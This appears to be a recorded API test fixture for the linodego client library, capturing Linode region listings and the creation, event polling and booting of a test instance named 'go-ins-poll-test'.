"resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-ins-poll-test","root_pass":"A6[Q3+hZJGy:;F2P;\u003eF7Z/IE\u00264b\u0026vlk2#9`t-9Tr16B{!ev*3O85@vfxH0yec8S9","image":"linode/ubuntu22.04","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 52557263, "label": "go-ins-poll-test", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.34.94"], "ipv6": "1234::5678/128", "image": "linode/ubuntu22.04", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "4351606c086016d7568003f3b436685b02d00a73", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "737" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","entity.id":52557263,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 603804661, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "scheduled", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "551" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/603804661 method: GET response: body: '{"id": 603804661, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 16.319566, "action": "linode_create", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "started", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "505" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/603804661 method: GET response: body: '{"id": 603804661, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, "duration": 31.100599, "action": "linode_create", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "started", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "506" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/603804661 method: GET response: body: '{"id": 603804661, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 59, "time_remaining": null, "rate": null, "duration": 46.052411, "action": "linode_create", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "started", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "506" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/603804661 method: GET response: body: '{"id": 603804661, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 61, "time_remaining": null, "rate": null, "duration": 61.066598, "action": "linode_create", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "started", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "506" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/603804661 method: GET response: body: '{"id": 603804661, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 65.0, "action": "linode_create", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "finished", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "500" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_boot","entity.id":52557263,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557263/boot method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_boot","entity.id":52557263,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 603805129, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 45, "time_remaining": null, "rate": null, "duration": 14.943956, "action": "linode_boot", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "started", "secondary_entity": {"id": 55574050, "type": "linode_config", "label": "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/52557263/configs/55574050"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "582" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/603805129 method: GET response: body: '{"id": 603805129, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 49, "time_remaining": null, "rate": null, "duration": 15.050718, "action": "linode_boot", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "started", "secondary_entity": {"id": 55574050, "type": "linode_config", "label": "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/52557263/configs/55574050"}, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "533" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff 